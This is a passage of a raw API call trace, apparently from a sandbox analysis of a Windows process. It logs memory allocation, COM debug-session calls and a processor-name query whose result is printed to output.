_Dst=0x2cf408) returned 0x2cf408 [0149.244] memcpy (in: _Dst=0x3c2988, _Src=0x3c2918, _Size=0x4e | out: _Dst=0x3c2988) returned 0x3c2988 [0149.245] malloc (_Size=0x808) returned 0x1d0030 [0149.245] memcpy (in: _Dst=0x1d0078, _Src=0x7fef4743b10, _Size=0xa | out: _Dst=0x1d0078) returned 0x1d0078 [0149.245] memcpy (in: _Dst=0x3c29f8, _Src=0x3c2918, _Size=0x4e | out: _Dst=0x3c29f8) returned 0x3c29f8 [0149.246] GetCurrentThreadId () returned 0xfbc [0149.246] DllRegisterServer () returned 0x0 [0149.246] ??3@YAXPEAX@Z () returned 0x440072000c0001 [0149.247] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.247] free (_Block=0x2cfbe0) [0149.247] ??3@YAXPEAX@Z () returned 0x6e019500540001 [0149.247] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.248] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.248] free (_Block=0x2cf900) [0149.248] GetCurrentThreadId () returned 0xfbc [0149.248] realloc (_Block=0x0, _Size=0xc8) returned 0x2cf900 [0149.248] memcpy (in: _Dst=0x2cf900, _Src=0x7fef4740800, _Size=0x10 | out: _Dst=0x2cf900) returned 0x2cf900 [0149.248] memcpy (in: _Dst=0x2cf910, _Src=0x7fef472f2c8, _Size=0x6 | out: _Dst=0x2cf910) returned 0x2cf910 [0149.248] memcpy (in: _Dst=0x2cf916, _Src=0x7fef472f2d0, _Size=0x18 | out: _Dst=0x2cf916) returned 0x2cf916 [0149.249] ??2@YAPEAX_K@Z () returned 0x2c8740 [0149.249] malloc (_Size=0x1008) returned 0x1d0840 [0149.249] ??2@YAPEAX_K@Z () returned 0x2cf9d0 [0149.249] malloc (_Size=0x2008) returned 0x1d1850 [0149.249] memcpy (in: _Dst=0x1d1884, _Src=0x27d1840, _Size=0x1a | out: _Dst=0x1d1884) returned 0x1d1884 [0149.249] malloc (_Size=0x108) returned 0x2ca210 [0149.249] memcpy (in: _Dst=0x1d18d4, _Src=0x27d185c, _Size=0x8 | out: _Dst=0x1d18d4) returned 0x1d18d4 [0149.249] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.249] malloc (_Size=0x208) returned 0x2cf9d0 [0149.250] malloc (_Size=0x40) returned 0x2cd270 [0149.250] malloc (_Size=0x138) returned 0x2cfbe0 [0149.250] memcpy (in: _Dst=0x2cfbe0, _Src=0x1aec20, _Size=0x30 | out: _Dst=0x2cfbe0) returned 0x2cfbe0 [0149.250] memcpy (in: _Dst=0x2cfc18, _Src=0x1d18d4, _Size=0xa | out: _Dst=0x2cfc18) returned 0x2cfc18 [0149.250] memcpy (in: _Dst=0x2cfc2c, _Src=0x1d1884, _Size=0x1c | out: _Dst=0x2cfc2c) returned 0x2cfc2c [0149.250] memcpy (in: _Dst=0x2cfc48, _Src=0x0, _Size=0x0 | out: _Dst=0x2cfc48) returned 0x2cfc48 [0149.250] memcpy (in: _Dst=0x2cfc48, _Src=0x2cd270, _Size=0x8 | out: _Dst=0x2cfc48) returned 0x2cfc48 [0149.250] memcpy (in: _Dst=0x2cfc58, _Src=0x1af1e0, _Size=0x20 | out: _Dst=0x2cfc58) returned 0x2cfc58 [0149.250] memcpy (in: _Dst=0x2cfc78, _Src=0x2cf900, _Size=0x30 | out: _Dst=0x2cfc78) returned 0x2cfc78 [0149.250] memcpy (in: _Dst=0x2cfca8, _Src=0x27d1840, _Size=0x26 | out: _Dst=0x2cfca8) returned 0x2cfca8 [0149.251] memcpy (in: _Dst=0x2cfcd0, _Src=0x2cf9f0, _Size=0x30 | out: _Dst=0x2cfcd0) returned 0x2cfcd0 [0149.251] memcpy (in: _Dst=0x2cfd00, _Src=0x2cfa2c, _Size=0x13 | out: _Dst=0x2cfd00) returned 0x2cfd00 [0149.251] ??2@YAPEAX_K@Z () returned 0x2cc8e0 [0149.251] free (_Block=0x1d1850) [0149.252] free (_Block=0x1d0840) [0149.256] ??3@YAXPEAX@Z () returned 0x32003c007a0001 [0149.256] free (_Block=0x2cd270) [0149.256] free (_Block=0x2cf9d0) [0149.257] free (_Block=0x2ca210) [0149.257] ??2@YAPEAX_K@Z () returned 0x2ce070 [0149.257] memcpy (in: _Dst=0x2cd230, _Src=0x1af0c0, _Size=0x10 | out: _Dst=0x2cd230) returned 0x2cd230 [0149.258] ??2@YAPEAX_K@Z () returned 0x2cd270 [0149.258] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.259] GetCurrentThreadId () returned 0xfbc [0149.259] DllRegisterServer () returned 0x0 [0149.260] realloc (_Block=0x0, _Size=0x140) returned 0x2cf9d0 [0149.260] memcpy (in: _Dst=0x2cf9d0, _Src=0x2ceb50, _Size=0xa0 | out: _Dst=0x2cf9d0) returned 0x2cf9d0 [0149.260] memcpy (in: _Dst=0x1d00c8, _Src=0x7fef4740398, _Size=0x8 | out: _Dst=0x1d00c8) returned 0x1d00c8 [0149.261] memcpy (in: _Dst=0x1d0110, _Src=0x7fef47403f0, _Size=0x8 | out: _Dst=0x1d0110) returned 0x1d0110 [0149.261] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb18, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.261] memcpy (in: _Dst=0x1d0158, _Src=0x7fef4741c40, _Size=0xa | out: _Dst=0x1d0158) returned 0x1d0158 [0149.261] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb1a, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.261] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb1c, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.262] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb1e, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.264] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c29f8, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.264] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c29fa, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.265] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c29fc, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.265] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c29fe, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.265] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a00, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.266] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a02, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.267] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a04, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.267] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a06, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.268] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a08, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.268] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a0a, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.268] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a0c, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.269] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a0e, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.269] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a10, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.270] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a12, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.270] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a14, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.270] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a16, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.271] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a18, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.271] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a1a, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.272] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a1c, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.272] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a1e, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.273] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a20, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.273] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a22, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.273] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a24, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.274] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a26, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.274] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a28, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.275] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a2a, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.275] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a2c, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.275] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a2e, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.276] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a30, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.276] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a32, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.276] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a34, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.277] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a36, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.277] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a38, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.277] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a3a, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.278] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a3c, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.278] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a3e, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.278] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a40, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.279] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a42, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.279] memcpy (in: _Dst=0x3ebbd8, _Src=0x3c2a44, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.281] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb18, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.282] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb1a, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.282] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb1c, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.283] memcpy (in: _Dst=0x3ebbd8, _Src=0x3ebb1e, _Size=0x2 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.284] memcpy (in: _Dst=0x3ebae8, _Src=0x3ebbd8, _Size=0x0 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.284] memcpy (in: _Dst=0x3ebae8, _Src=0x3ebb18, _Size=0x8 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.285] memcpy (in: _Dst=0x376e38, _Src=0x3965d8, _Size=0x20 | out: _Dst=0x376e38) returned 0x376e38 [0149.285] memcpy (in: _Dst=0x376e58, _Src=0x3965d8, _Size=0x20 | out: _Dst=0x376e58) returned 0x376e58 [0149.286] memcpy (in: _Dst=0x3b0df8, _Src=0x376e38, _Size=0x40 | out: _Dst=0x3b0df8) returned 0x3b0df8 [0149.286] memcpy (in: _Dst=0x3b0e38, _Src=0x376e38, _Size=0x40 | out: _Dst=0x3b0e38) returned 0x3b0e38 [0149.288] memcpy (in: _Dst=0x1d01a8, _Src=0x7fef47403c0, _Size=0xa | out: _Dst=0x1d01a8) returned 0x1d01a8 [0149.288] memcpy (in: _Dst=0x376e38, _Src=0x3b0df8, _Size=0x4a | out: _Dst=0x376e38) returned 0x376e38 [0149.289] memcpy (in: _Dst=0x3b0df8, _Src=0x3ebae8, _Size=0x8 | out: _Dst=0x3b0df8) returned 0x3b0df8 [0149.289] memcpy (in: _Dst=0x3b0e00, _Src=0x376e38, _Size=0x4a | out: _Dst=0x3b0e00) returned 0x3b0e00 [0149.290] memcpy (in: _Dst=0x3ebae8, _Src=0x3c29f8, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.291] memcpy (in: _Dst=0x3ebae8, _Src=0x3c29fa, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.291] memcpy (in: _Dst=0x3ebae8, _Src=0x3c29fc, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.292] memcpy (in: _Dst=0x3ebae8, _Src=0x3c29fe, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.292] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a00, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.292] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a02, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.293] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a04, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.293] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a06, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.294] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a08, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.294] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a0a, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.294] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a0c, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.295] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a0e, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.295] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a10, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.295] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a12, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.296] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a14, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.296] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a16, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.297] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a18, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.297] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a1a, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.298] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a1c, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.298] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a1e, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.298] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a20, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.299] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a22, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.299] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a24, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.300] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a26, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.300] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a28, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.300] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a2a, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.301] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a2c, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.301] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a2e, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.302] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a30, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.302] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a32, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.302] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a34, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.303] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a36, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.303] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a38, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.304] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a3a, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.304] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a3c, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.304] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a3e, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.305] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a40, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.305] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a42, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.305] memcpy (in: _Dst=0x3ebae8, _Src=0x3c2a44, _Size=0x2 | out: _Dst=0x3ebae8) returned 0x3ebae8 [0149.307] memcpy (in: _Dst=0x376e38, _Src=0x3ebae8, _Size=0x0 | out: _Dst=0x376e38) returned 0x376e38 [0149.307] memcpy (in: _Dst=0x376e38, _Src=0x3c29f8, _Size=0x4e | out: _Dst=0x376e38) returned 0x376e38 [0149.308] memcpy (in: _Dst=0x3ebbd8, _Src=0x3965d8, _Size=0x4 | out: _Dst=0x3ebbd8) returned 0x3ebbd8 [0149.308] memcpy (in: _Dst=0x3c2918, _Src=0x376e38, _Size=0x4e | out: _Dst=0x3c2918) returned 0x3c2918 [0149.309] memcpy (in: _Dst=0x3c2966, _Src=0x3ebbd8, _Size=0x4 | out: _Dst=0x3c2966) returned 0x3c2966 [0149.309] memcpy (in: _Dst=0x1d01f8, _Src=0x7fef4740620, _Size=0xe | out: _Dst=0x1d01f8) returned 0x1d01f8 [0149.309] memcpy (in: _Dst=0x376e38, _Src=0x3c2918, _Size=0x52 | out: _Dst=0x376e38) returned 0x376e38 [0149.309] memcpy (in: _Dst=0x376e8a, _Src=0x3ebbd8, _Size=0x4 | out: _Dst=0x376e8a) returned 0x376e8a [0149.310] memcpy (in: _Dst=0x3c2918, _Src=0x3b0df8, _Size=0x52 | out: _Dst=0x3c2918) returned 0x3c2918 [0149.310] memcpy (in: _Dst=0x3c296a, _Src=0x3ebbd8, _Size=0x4 | out: _Dst=0x3c296a) returned 0x3c296a [0149.310] memcpy (in: _Dst=0x3f4dc8, _Src=0x3c2918, _Size=0x56 | out: _Dst=0x3f4dc8) returned 0x3f4dc8 [0149.310] memcpy (in: _Dst=0x3f4e1e, _Src=0x376e38, _Size=0x56 | out: _Dst=0x3f4e1e) returned 0x3f4e1e [0149.311] GetCurrentThreadId () returned 0xfbc [0149.311] DllRegisterServer () returned 0x0 [0149.311] ??3@YAXPEAX@Z () returned 0x440074000c0001 [0149.311] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.312] free (_Block=0x2cfbe0) [0149.312] ??3@YAXPEAX@Z () returned 0x6e019600540001 [0149.312] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.313] free (_Block=0x2cf900) [0149.314] GetCurrentThreadId () returned 0xfbc [0149.314] GetCurrentThreadId () returned 0xfbc [0149.314] IUnknown:Release (This=0x3a90a0) returned 0x1 [0149.314] DllRegisterServer () returned 0x0 [0149.314] DllRegisterServer () returned 0x0 [0149.314] GetUserDefaultLCID () returned 0x409 [0149.314] GetACP () returned 0x4e4 [0149.315] ??3@YAXPEAX@Z () returned 0x6e019700580001 [0149.315] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.315] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.315] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.315] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.315] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.316] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.414] free (_Block=0x2cec00) [0149.414] free (_Block=0x2cf9d0) [0149.415] free (_Block=0x1d0030) [0149.416] free (_Block=0x2cf030) [0149.416] free (_Block=0x2ced30) [0149.417] free (_Block=0x2ca100) [0149.417] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.417] ??3@YAXPEAX@Z () returned 0x32003d00760001 [0149.417] ISystemDebugEventFire:EndSession (This=0x3a90a0) returned 0x0 [0149.417] IUnknown:Release (This=0x3a90a0) returned 0x0 [0149.417] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.417] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.418] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.418] DllRegisterServer () returned 0x0 [0149.419] IXSLProcessor:get_output (in: This=0x21d8df0, pOutput=0x1af6c0 | out: pOutput=0x1af6c0*(varType=0x8, wReserved1=0x21d, wReserved2=0x0, wReserved3=0x0, varVal1="Name \r\nIntel(R) Core(TM) i5-7500 CPU @ 3.40GHz \r\n", varVal2=0x1)) returned 0x0 [0149.419] malloc (_Size=0x18) returned 0x2cc880 [0149.420] XSLTemplate:IUnknown:Release (This=0x21d8df0) returned 0x0 [0149.420] FreeThreadedDOMDocument:IUnknown:Release (This=0x21db330) returned 0x2 [0149.420] XSLTemplate:IUnknown:Release (This=0x21d7620) returned 0x0 [0149.423] memcpy (in: _Dst=0x1af440, _Src=0x2cd220, _Size=0x10 | out: _Dst=0x1af440) returned 0x1af440 [0149.424] free (_Block=0x1cc020) [0149.425] ??3@YAXPEAX@Z () returned 0x6e019800580001 [0149.425] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.426] free (_Block=0x2cd220) [0149.426] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.426] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.426] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0149.427] free (_Block=0x2c8640) [0149.428] free (_Block=0x2cccb0) [0149.428] malloc (_Size=0xb0) returned 0x2cdec0 [0149.428] memcpy_s (in: _Destination=0x2cdec0, _DestinationSize=0xae, _Source=0x3c3b18, _SourceSize=0xac | out: _Destination=0x2cdec0) returned 0x0 [0149.428] malloc (_Size=0x30) returned 0x2c8640 [0149.428] free (_Block=0x2c8640) [0149.429] malloc (_Size=0x60) returned 0x2cdf80 [0149.429] memcpy_s (in: _Destination=0x2cdf80, _DestinationSize=0x5e, _Source=0x2cdec0, _SourceSize=0x56 | out: _Destination=0x2cdf80) returned 0x0 [0149.429] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Name \r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0149.429] malloc (_Size=0x2c) returned 0x2c8640 [0149.429] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Name \r\n", cchWideChar=-1, lpMultiByteStr=0x2c8640, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Name \r\n", lpUsedDefaultChar=0x0) returned 44 [0149.429] fprintf (in: _File=0x7feff862ab0, _Format="%s" | out: _File=0x7feff862ab0) returned 43 [0149.430] fflush (in: _File=0x7feff862ab0 | out: _File=0x7feff862ab0) returned 0 [0149.430] free (_Block=0x2c8640) [0149.431] free (_Block=0x2cdf80) [0149.431] malloc (_Size=0x60) returned 0x2cdf80 [0149.431] memcpy_s (in: _Destination=0x2cdf80, _DestinationSize=0x5e, _Source=0x2cdf16, _SourceSize=0x56 | out: _Destination=0x2cdf80) returned 0x0 [0149.431] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz \r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0149.431] malloc (_Size=0x2c) returned 0x2c8640 [0149.431] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz \r\n", cchWideChar=-1, lpMultiByteStr=0x2c8640, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz \r\n", lpUsedDefaultChar=0x0) returned 44 [0149.431] fprintf (in: _File=0x7feff862ab0, _Format="%s" | out: _File=0x7feff862ab0) returned 43 [0149.431] fflush (in: _File=0x7feff862ab0 | out: _File=0x7feff862ab0) returned 0 [0149.432] free (_Block=0x2c8640) [0149.432] free (_Block=0x2cdf80) [0149.433] malloc (_Size=0x800) returned 0x2ceab0 [0149.433] LoadStringW (in: hInstance=0x0, uID=0xafd2, lpBuffer=0x2ceab0, cchBufferMax=1024 | out: lpBuffer="\r\n") returned 0x2 [0149.433] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.433] malloc (_Size=0x3) returned 0x2cce20 [0149.433] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x2cce20, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0149.433] fprintf (in: _File=0x7feff862ab0, _Format="%s" | out: _File=0x7feff862ab0) returned 2 [0149.433] fflush (in: _File=0x7feff862ab0 | out: _File=0x7feff862ab0) returned 0 [0149.434] free (_Block=0x2cce20) [0149.434] free (_Block=0x2ceab0) [0149.434] free (_Block=0x2cdec0) [0149.434] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0149.435] free (_Block=0x2cc880) [0149.435] ??1CHString@@QEAA@XZ () returned 0x73132b01 [0149.435] FreeThreadedDOMDocument:IUnknown:Release (This=0x21d71d0) returned 0x0 [0149.435] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0149.435] free (_Block=0x2cc920) [0149.435] malloc (_Size=0x18) returned 0x2cc920 [0149.435] free (_Block=0x2cca80) [0149.435] malloc (_Size=0x18) returned 0x2cca80 [0149.435] free (_Block=0x2ccc10) [0149.435] free (_Block=0x2ccac0) [0149.436] free (_Block=0x2ccae0) [0149.436] free (_Block=0x2cca20) [0149.436] free (_Block=0x2cc920) [0149.436] free (_Block=0x2cca80) [0149.436] free (_Block=0x2c6cf0) [0149.436] free (_Block=0x2c6c80) [0149.436] free (_Block=0x2ccba0) [0149.436] free (_Block=0x2ccbd0) [0149.437] free (_Block=0x2c8700) [0149.437] free (_Block=0x2cca60) [0149.437] free (_Block=0x2ccb50) [0149.437] free (_Block=0x2cc900) [0149.437] free (_Block=0x2cc9e0) [0149.437] free (_Block=0x2c6d70) [0149.438] free (_Block=0x2c6b60) [0149.440] free (_Block=0x2c6db0) [0149.440] free (_Block=0x2cc9c0) [0149.440] free (_Block=0x2ccda0) [0149.441] free (_Block=0x2ccaa0) 